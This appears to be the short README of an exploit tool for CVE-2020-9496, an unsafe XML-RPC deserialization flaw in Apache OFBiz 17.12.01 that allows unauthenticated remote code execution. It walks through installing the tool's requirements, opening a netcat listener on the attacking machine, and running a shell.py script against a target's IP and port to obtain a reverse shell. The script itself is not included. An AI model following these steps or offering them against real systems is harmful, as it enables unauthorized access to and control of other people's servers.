CVE-2020-9496

ApacheOfBiz 17.12.01 - Unauthorized Remote Code Executión

XML-RPC request are vulnerable to unsafe deserialization.

Steps

Step 1:

pip3 install -r requeriments.txt

Step 2:

nc -nlvp <port> # attack computer

Step 3:

python3 shell.py -i <remote IP> -p <remote port> -li <local IP> -lp <local port>

Step 4:

You should have a shell in your nc listener